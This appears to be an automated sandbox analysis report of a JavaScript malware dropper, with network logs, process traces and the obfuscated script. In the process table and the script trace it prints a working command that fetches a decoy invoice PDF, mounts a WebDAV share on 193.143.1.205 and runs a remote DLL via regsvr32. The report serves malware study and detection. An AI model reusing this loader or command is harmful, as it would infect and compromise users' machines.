Jan 10, 2025 22:51:56.651088953 CET	1.1.1.1	192.168.2.12	0xf9bb	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:52:08.729437113 CET	1.1.1.1	192.168.2.12	0xd46c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:52:32.805022955 CET	1.1.1.1	192.168.2.12	0x6a4e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:52:56.346438885 CET	1.1.1.1	192.168.2.12	0xdff8	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:52:56.346438885 CET	1.1.1.1	192.168.2.12	0xdff8	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:53:08.943964005 CET	1.1.1.1	192.168.2.12	0x78ab	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:53:08.943964005 CET	1.1.1.1	192.168.2.12	0x78ab	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49710	193.143.1.205	80	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:51:41.028681993 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:51:41.850888968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:51:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:51:41.850903988 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:51:41.850917101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:51:41.850924015 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 22:51:41.850948095 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 22:51:41.850996017 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 22:51:41.851006985 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 22:51:41.851063013 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 22:51:41.851074934 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 22:51:41.851089001 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 22:51:41.856009007 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49711	193.143.1.205	8888	7000	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:51:43.577322006 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:51:44.365235090 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:51:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:51:37
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10965191911914222758.js"
Imagebase:	0x7ff724300000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:51:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Imagebase:	0x7ff65f070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:51:38
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff704000000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:51:38
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff63c0a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:51:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff77b230000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:51:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65f070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:51:42
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c88c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:51:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff763240000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:51:43
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7d3e90000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:51:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1628,i,3187756067259399112,7891253173084942804,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff763240000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function oooftfv() {	oooftfv() ➔ undefined
1	sfaiaokyb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rkttxiwq = this[dywegys + tcnhezcm + dtbdgpsyg + jkwybiqxb + jvjtcvsqt + emoqqifl + svpjdoio + rmblwrx] ( this[dcveid + bcydiyl + upghtoicv + dtbdgpsyg + spjoag + dywegys + rmblwrx][werpowtx + dtbdgpsyg + jvjtcvsqt + tcnhezcm + rmblwrx + jvjtcvsqt + igwvi + bpvuzik + qeztq + jvjtcvsqt + upghtoicv + rmblwrx] ( dcveid + bcydiyl + upghtoicv + dtbdgpsyg + spjoag + dywegys + rmblwrx + fqjqp + bcydiyl + rrzfhelw + jvjtcvsqt + nsxahynzj + nsxahynzj ) [posdo + jvjtcvsqt + zplwsmrx + posdo + jvjtcvsqt + tcnhezcm + gwqlckw] ( jkxckkqgb + lmlpjpqjd + glsdtxui + ucpstqol + umczczrr + werpowtx + fusujs + posdo + posdo + glsdtxui + rrqvjjspe + mdapeo + umczczrr + fusujs + bcydiyl + glsdtxui + posdo + nyndctnk + werpowtx + xmrysfqr + svpjdoio + rmblwrx + dtbdgpsyg + xmrysfqr + nsxahynzj + maskdos + jwtxgo + tcnhezcm + svpjdoio + jvjtcvsqt + nsxahynzj + nyndctnk + emoqqifl + svpjdoio + rmblwrx + jvjtcvsqt + dtbdgpsyg + svpjdoio + tcnhezcm + rmblwrx + spjoag + xmrysfqr + svpjdoio + tcnhezcm + nsxahynzj + nyndctnk + vgwurxs + xmrysfqr + upghtoicv + tcnhezcm + nsxahynzj + jvjtcvsqt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( anmdl = 0 ; anmdl < sfaiaokyb[nsxahynzj + jvjtcvsqt + svpjdoio + zplwsmrx + rmblwrx + rrzfhelw] ; ++ anmdl )
4	{
5	if ( rkttxiwq == sfaiaokyb[anmdl] )
6	{
7	rkttxiwq = true;
8	break ;
9	}
10	}
11	if ( rkttxiwq !== true )
12	this[dcveid + bcydiyl + upghtoicv + dtbdgpsyg + spjoag + dywegys + rmblwrx][qkrogh + illbmvn + spjoag + rmblwrx] ( );
13	this[dcveid + bcydiyl + upghtoicv + dtbdgpsyg + spjoag + dywegys + rmblwrx][werpowtx + dtbdgpsyg + jvjtcvsqt + tcnhezcm + rmblwrx + jvjtcvsqt + igwvi + bpvuzik + qeztq + jvjtcvsqt + upghtoicv + rmblwrx] ( dcveid + bcydiyl + upghtoicv + dtbdgpsyg + spjoag + dywegys + rmblwrx + fqjqp + bcydiyl + rrzfhelw + jvjtcvsqt + nsxahynzj + nsxahynzj ) [dtbdgpsyg + illbmvn + svpjdoio] ( upghtoicv + cojrqnhj + gwqlckw + maskdos + ogdbbh + upghtoicv + maskdos + dywegys + xmrysfqr + batjckic + jvjtcvsqt + dtbdgpsyg + jkwybiqxb + rrzfhelw + jvjtcvsqt + nsxahynzj + nsxahynzj + fqjqp + jvjtcvsqt + ldfrzxsl + jvjtcvsqt + maskdos + mpvrhit + werpowtx + xmrysfqr + cojrqnhj + cojrqnhj + tcnhezcm + svpjdoio + gwqlckw + maskdos + vsvoe + emoqqifl + svpjdoio + ljbtmgg + xmrysfqr + bvzuyggja + jvjtcvsqt + mpvrhit + dcveid + jvjtcvsqt + bpvuzik + posdo + jvjtcvsqt + xbbhbdg + illbmvn + jvjtcvsqt + jkwybiqxb + rmblwrx + maskdos + mpvrhit + igwvi + illbmvn + rmblwrx + zfrcglp + spjoag + nsxahynzj + jvjtcvsqt + maskdos + gqisaf + rmblwrx + jvjtcvsqt + cojrqnhj + dywegys + gqisaf + nyndctnk + spjoag + svpjdoio + ljbtmgg + xmrysfqr + spjoag + upghtoicv + jvjtcvsqt + fqjqp + dywegys + gwqlckw + tzmocwp + maskdos + rrzfhelw + rmblwrx + rmblwrx + dywegys + jgfjiswh + ogdbbh + ogdbbh + cwdnfz + opuydlm + sjaclg + fqjqp + cwdnfz + hagbzyxzt + sjaclg + fqjqp + cwdnfz + fqjqp + insnp + flufqjghy + thvrnp + ogdbbh + spjoag + svpjdoio + ljbtmgg + xmrysfqr + spjoag + upghtoicv + jvjtcvsqt + fqjqp + dywegys + rrzfhelw + dywegys + vsvoe + adzowc + adzowc + jkwybiqxb + rmblwrx + tcnhezcm + dtbdgpsyg + rmblwrx + maskdos + gqisaf + rmblwrx + jvjtcvsqt + cojrqnhj + dywegys + gqisaf + nyndctnk + spjoag + svpjdoio + ljbtmgg + xmrysfqr + spjoag + upghtoicv + jvjtcvsqt + fqjqp + dywegys + gwqlckw + tzmocwp + adzowc + adzowc + upghtoicv + cojrqnhj + gwqlckw + maskdos + ogdbbh + upghtoicv + maskdos + svpjdoio + jvjtcvsqt + rmblwrx + maskdos + illbmvn + jkwybiqxb + jvjtcvsqt + maskdos + nyndctnk + nyndctnk + cwdnfz + opuydlm + sjaclg + fqjqp + cwdnfz + hagbzyxzt + sjaclg + fqjqp + cwdnfz + fqjqp + insnp + flufqjghy + thvrnp + gdmijzk + voysk + voysk + voysk + voysk + nyndctnk + gwqlckw + tcnhezcm + ljbtmgg + batjckic + batjckic + batjckic + dtbdgpsyg + xmrysfqr + xmrysfqr + rmblwrx + nyndctnk + adzowc + adzowc + upghtoicv + cojrqnhj + gwqlckw + maskdos + ogdbbh + upghtoicv + maskdos + dtbdgpsyg + jvjtcvsqt + zplwsmrx + jkwybiqxb + ljbtmgg + dtbdgpsyg + sjaclg + insnp + maskdos + ogdbbh + jkwybiqxb + maskdos + nyndctnk + nyndctnk + cwdnfz + opuydlm + sjaclg + fqjqp + cwdnfz + hagbzyxzt + sjaclg + fqjqp + cwdnfz + fqjqp + insnp + flufqjghy + thvrnp + gdmijzk + voysk + voysk + voysk + voysk + nyndctnk + gwqlckw + tcnhezcm + ljbtmgg + batjckic + batjckic + batjckic + dtbdgpsyg + xmrysfqr + xmrysfqr + rmblwrx + nyndctnk + insnp + kinnytbn + kinnytbn + hagbzyxzt + kinnytbn + insnp + flufqjghy + sjaclg + flufqjghy + flufqjghy + voysk + opuydlm + qqsjnrsw + cwdnfz + fqjqp + gwqlckw + nsxahynzj + nsxahynzj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll",0,false) ➔ 0
14	}
15	bvzuyggja = "D";
16	bvzuyggja = "u";
17	bvzuyggja = "K";
18	bvzuyggja = "F";
19	bvzuyggja = "V";
20	bvzuyggja = "v";
21	bvzuyggja = "U";
22	bvzuyggja = "Z";
23	bvzuyggja = "c";
24	bvzuyggja = "b";
25	bvzuyggja = "T";
26	bvzuyggja = "H";
27	bvzuyggja = "Q";
28	bvzuyggja = "c";
29	bvzuyggja = "C";
30	bvzuyggja = "m";
31	bvzuyggja = "p";
32	bvzuyggja = "n";
33	bvzuyggja = "E";
34	bvzuyggja = "J";
35	bvzuyggja = "k";
36	qqsjnrsw = "t";
37	qqsjnrsw = "g";
38	qqsjnrsw = "K";
39	qqsjnrsw = "k";
40	qqsjnrsw = "7";
41	bcydiyl = "d";
42	bcydiyl = "H";
43	bcydiyl = "a";
44	bcydiyl = "y";
45	bcydiyl = "W";
46	bcydiyl = "n";
47	bcydiyl = "t";
48	bcydiyl = "d";
49	bcydiyl = "J";
50	bcydiyl = "A";
51	bcydiyl = "l";
52	bcydiyl = "w";
53	bcydiyl = "r";
54	bcydiyl = "s";
55	bcydiyl = "T";
56	bcydiyl = "S";
57	dywegys = "r";
58	dywegys = "J";
59	dywegys = "T";
60	dywegys = "y";
61	dywegys = "m";
62	dywegys = "D";
63	dywegys = "H";
64	dywegys = "p";
65	ucpstqol = "v";
66	ucpstqol = "c";
67	ucpstqol = "W";
68	ucpstqol = "s";
69	ucpstqol = "Y";
70	dtbdgpsyg = "X";
71	dtbdgpsyg = "u";
72	dtbdgpsyg = "C";
73	dtbdgpsyg = "V";
74	dtbdgpsyg = "b";
75	dtbdgpsyg = "C";
76	dtbdgpsyg = "G";
77	dtbdgpsyg = "T";
78	dtbdgpsyg = "d";
79	dtbdgpsyg = "P";
80	dtbdgpsyg = "S";
81	dtbdgpsyg = "k";
82	dtbdgpsyg = "t";
83	dtbdgpsyg = "N";
84	dtbdgpsyg = "s";
85	dtbdgpsyg = "C";
86	dtbdgpsyg = "g";
87	dtbdgpsyg = "R";
88	dtbdgpsyg = "s";
89	dtbdgpsyg = "l";
90	dtbdgpsyg = "i";
91	dtbdgpsyg = "d";
92	dtbdgpsyg = "r";
93	rmblwrx = "U";
94	rmblwrx = "v";
95	rmblwrx = "c";
96	rmblwrx = "B";
97	rmblwrx = "e";
98	rmblwrx = "M";
99	rmblwrx = "f";
100	rmblwrx = "J";
101	rmblwrx = "q";
102	rmblwrx = "V";
103	rmblwrx = "g";
104	rmblwrx = "g";
105	rmblwrx = "G";
106	rmblwrx = "A";
107	rmblwrx = "y";
108	rmblwrx = "W";
109	rmblwrx = "A";
110	rmblwrx = "z";
111	rmblwrx = "I";
112	rmblwrx = "w";
113	rmblwrx = "g";
114	rmblwrx = "Z";
115	rmblwrx = "Z";
116	rmblwrx = "Z";
117	rmblwrx = "B";
118	rmblwrx = "q";
119	rmblwrx = "x";
120	rmblwrx = "l";
121	rmblwrx = "t";
122	sjaclg = "T";
123	sjaclg = "y";
124	sjaclg = "n";
125	sjaclg = "i";
126	sjaclg = "S";
127	sjaclg = "J";
128	sjaclg = "O";
129	sjaclg = "Z";
130	sjaclg = "K";
131	sjaclg = "k";
132	sjaclg = "y";
133	sjaclg = "R";
134	sjaclg = "u";
135	sjaclg = "Z";
136	sjaclg = "3";
137	opuydlm = "x";
138	opuydlm = "T";
139	opuydlm = "v";
140	opuydlm = "n";
141	opuydlm = "u";
142	opuydlm = "9";
143	jgfjiswh = "D";
144	jgfjiswh = "d";
145	jgfjiswh = "e";
146	jgfjiswh = "m";
147	jgfjiswh = "G";
148	jgfjiswh = ":";
149	upghtoicv = "Y";
150	upghtoicv = "O";
151	upghtoicv = "Q";
152	upghtoicv = "f";
153	upghtoicv = "q";
154	upghtoicv = "V";
155	upghtoicv = "B";
156	upghtoicv = "A";
157	upghtoicv = "N";
158	upghtoicv = "b";
159	upghtoicv = "o";
160	upghtoicv = "R";
161	upghtoicv = "T";
162	upghtoicv = "m";
163	upghtoicv = "N";
164	upghtoicv = "N";
165	upghtoicv = "D";
166	upghtoicv = "S";
167	upghtoicv = "R";
168	upghtoicv = "g";
169	upghtoicv = "o";
170	upghtoicv = "T";
171	upghtoicv = "v";
172	upghtoicv = "X";
173	upghtoicv = "l";
174	upghtoicv = "p";
175	upghtoicv = "R";
176	upghtoicv = "V";
177	upghtoicv = "k";
178	upghtoicv = "S";
179	upghtoicv = "I";
180	upghtoicv = "Z";
181	upghtoicv = "g";
182	upghtoicv = "A";
183	upghtoicv = "X";
184	upghtoicv = "s";
185	upghtoicv = "w";
186	upghtoicv = "Q";
187	upghtoicv = "q";
188	upghtoicv = "c";
189	gdmijzk = "u";
190	gdmijzk = "E";
191	gdmijzk = "Z";
192	gdmijzk = "L";
193	gdmijzk = "Y";
194	gdmijzk = "g";
195	gdmijzk = "R";
196	gdmijzk = "s";
197	gdmijzk = "E";
198	gdmijzk = "K";
199	gdmijzk = "V";
200	gdmijzk = "x";
201	gdmijzk = "S";
202	gdmijzk = "d";
203	gdmijzk = "a";
204	gdmijzk = "P";
205	gdmijzk = "Q";
206	gdmijzk = "Q";
207	gdmijzk = "T";
208	gdmijzk = "i";
209	gdmijzk = "Q";
210	gdmijzk = "H";
211	gdmijzk = "j";
212	gdmijzk = "C";
213	gdmijzk = "Y";
214	gdmijzk = "t";
215	gdmijzk = "V";
216	gdmijzk = "n";
217	gdmijzk = "d";
